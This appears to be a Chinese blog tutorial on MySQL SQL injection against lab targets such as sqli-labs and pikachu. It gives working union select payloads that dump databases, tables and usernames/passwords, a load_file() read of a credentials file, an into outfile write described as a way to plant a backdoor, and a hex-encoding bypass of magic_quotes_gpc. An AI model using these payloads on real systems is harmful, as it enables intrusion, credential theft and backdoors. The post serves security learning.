当前位置:网站首页>mysql 注入
mysql 注入
2022-08-02 06:20:00 【一只Traveler】
1.不同用户下的目录是不同的,最高权限的是root,可以查看整个数据库;
同一个服务器下的不同网站之间的数据库用户有可能是不同的,如果a网站可以有SQL注入,他的用户是root 的话就可以实现跨站数据库入侵,去查看网站b下面的数据库;
2.注入常规步骤
判断是否存在注入;
最常见加 ' 报错
and 1=1 正常
and 1=2 回显错误;
存在注入;有注入点:
对注入点进行信息收集:
以最常见的union联合注入来举例:
1,判断字段个数 使用 order by x (112345)错误回显来知道字段数;
2.判断回显的位置;使用 select 1,,2,3,4...看回显的位置;
3.查询数据库 version():假如回显位置在1;构造 select version(),2,3.
来判断该数据库的名字和版本;
4.查当前数据库名:database();
常用语法:
union select 1,group_concat(schema_name),3 from information_schema.schemata 爆出所有数据库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu' 获取特定数据库表名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'
获取特定数据库特定表列数据
union select 1,username,password from pikachu.users
查询user的数据,根据实际来变化里面的内容;
一些命令的操作:
文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法:
报错显示、在注入语法错误时会爆出路径;
遗留文件、比如phpinfo.php文件信息;
漏洞报错、比如根据cms框架的漏洞,搜该漏洞爆路径的漏洞方法来获取路径;
平台配置文件、爆破等、
load_file() 的使用:用来读取数据库下的文件;
union select 1,load_file('D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
读取本地文件;这里有一个小坑,就是 \ 转义字符;我们需要用\\来告诉它我们这是一个\;如果就单独的\,只是一个转义字符;
into outfile : union select 1, 'x' ,3 into outfile 'D:\\x.php' --+ 写入文件‘x’ 到 x.php 中;这个函数可以用来上传后门;
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线;
什么意思呢,比如说,传
union select 1,load_file('D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
就会被解析为union select 1,load_file(\'D:\\\\Software\\\\PhpStudy\\\\phpstudy_pro\\\\WWW\\\\sqli-labs-master\\\\sql-connections\\\\db-creds.inc\'),3
怎么绕过呢?
使用编码饶过;将'D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'
进行十六进制编码传进去:
边栏推荐
- 武汉高性能计算大会2022举办,高性能计算生态发展再添新动力
- 【暑期每日一题】洛谷 P1551 亲戚
- 【暑期每日一题】洛谷 P1255 数楼梯
- 张驰课堂:六西格玛培训工具——箱线图
- 解决C#非静态字段、方法或属性“islandnum.Program.getIslandCount(int[][], int, int)”要求对象引用
- HCIP 第二天
- Understand C operators in one article
- Project development specification
- PHP Warning: putenv() has been disabled for security reasons in phar
- Vscode connect to remote server "Acquiring the lock on the/home / ~ 'problem
猜你喜欢
有点奇怪!访问目的网址,主机能容器却不行
专家见解|经济低迷期把握创新机会的 3 大方法
MySQL Advanced - MVCC (ultra-detailed finishing)
MySQL Advanced SQL Statements
Toolbox App 1.25 New Features at a Glance | Version Update
typescript 'props' is declared but its value is never read solution
GCC编译器技术解析
APP special test: traffic test
chrome plugin development guide
[Dataset][VOC] Eyewear dataset 6000 in VOC format
随机推荐
CAT1 4G+Ethernet development board Tencent cloud mobile phone WeChat applet display temperature and delivery control
C# FileInfo类
About the local server problem after ue4.27 pixel streaming package
Reverse resolve dns server
【暑期每日一题】洛谷 P1192 台阶问题
张驰咨询:企业实施精益管理的最大障碍,只把精益作为一种工具和方法
Connection reset by peer 问题解析
2022年8月计划,着重ue4视频教程
MySQL driver jar package download -- nanny tutorial
正则表达式的理解学习
[数据集][VOC]男女数据集voc格式6188张
【论文精读】Geometric Structure Preserving Warp for Natural Image Stitching
笔记本开机黑屏提示:ERROR 0199:System Security-Security password retry count exceeded
Connection reset by peer problem analysis
MySQL Advanced SQL Statements
PHP Warning: putenv() has been disabled for security reasons in phar
实例032:反向输出II
Ue after video tutorial first
(Part of it is not understood, and the notes are not completed) [Graph Theory] Difference Constraints
振兴农村循环经济 和数链串起农业“生态链”